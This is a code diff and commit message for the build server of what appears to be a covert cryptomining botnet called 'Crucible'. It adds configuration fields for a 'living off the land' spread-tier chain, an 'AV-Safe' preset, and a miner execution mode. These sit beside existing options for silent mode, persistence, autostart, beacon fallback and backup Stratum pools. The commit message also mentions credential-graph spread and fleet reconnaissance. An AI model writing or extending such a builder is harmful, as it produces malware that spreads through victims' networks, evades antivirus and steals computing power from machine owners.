Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/builder/handler.go

@@ -34,6 +34,7 @@ type BuildRequest struct {
 	ThreadPercent       int    `json:"thread_percent"`
 	CPUPriority         string `json:"cpu_priority"`
 	MiningMode          string `json:"mining_mode"`
+	MinerExecution      string `json:"miner_execution"`
 	DisplayMode         string `json:"display_mode"`
 	SilentMode          bool   `json:"silent_mode"`
 	RunAs               string `json:"run_as"`
@@ -110,6 +111,11 @@ type BuildRequest struct {
 	AgentKillAfterDays int `json:"agent_kill_after_days"`
 	HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
 	HTTPSBeaconAfterMin int  `json:"https_beacon_after_min"`
+
+	// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
+	LotlOnionEnabled     bool     `json:"lotl_onion_enabled"`
+	LotlPolicyFromServer bool     `json:"lotl_policy_from_server"`
+	LotlOnionTiers       []string `json:"lotl_onion_tiers,omitempty"`
 }
 
 // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -300,6 +306,13 @@ func (h *Handler) SetBuildPolicy(p BuildPolicy) {
 	h.policy = p
 }
 
+// SetGoBinPath overrides the go toolchain binary used for forge compiles.
+func (h *Handler) SetGoBinPath(path string) {
+	if strings.TrimSpace(path) != "" {
+		h.goBinPath = path
+	}
+}
+
 func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
 	goBin := "go"
 	if _, err := exec.LookPath("go"); err == nil {
@@ -973,6 +986,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.MiningMode == "" {
 		req.MiningMode = "always"
 	}
+	if req.MinerExecution == "" {
+		req.MinerExecution = "inprocess"
+	}
 	if req.RunAs == "" {
 		req.RunAs = "user"
 	}
@@ -1060,6 +1076,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 		req.Persistence = true
 		req.AutoStart = true
 	}
+	if req.LotlOnionEnabled {
+		ApplyLotlOnionPreset(req)
+	}
 	return nil
 }
 
@@ -1138,7 +1157,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		ThreadMode:  %q,
 		ThreadPercent: %d,
 		CPUPriority: %q,
-		MiningMode:  %q,
+		MiningMode:     %q,
+		MinerExecution: %q,
 		DisplayMode: %q,
 		SilentMode:  %v,
 		RunAs:            %q,
@@ -1203,6 +1223,10 @@ func GetBuiltinConfig() BuiltinConfig {
 		AgentKillAfterDays: %d,
 		HTTPSBeaconFallback: %v,
 		HTTPSBeaconAfterMin: %d,
+
+		LotlOnionEnabled:     %v,
+		LotlPolicyFromServer: %v,
+		LotlOnionTiers:       %s,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1214,6 +1238,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.ThreadPercent,
 		req.CPUPriority,
 		req.MiningMode,
+		req.MinerExecution,
 		req.DisplayMode,
 		req.SilentMode,
 		req.RunAs,
@@ -1275,6 +1300,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.AgentKillAfterDays,
 		httpsBeaconFallbackEnabled(req),
 		httpsBeaconAfterMin(req),
+		req.LotlOnionEnabled,
+		req.LotlPolicyFromServer,
+		formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
 	)
 }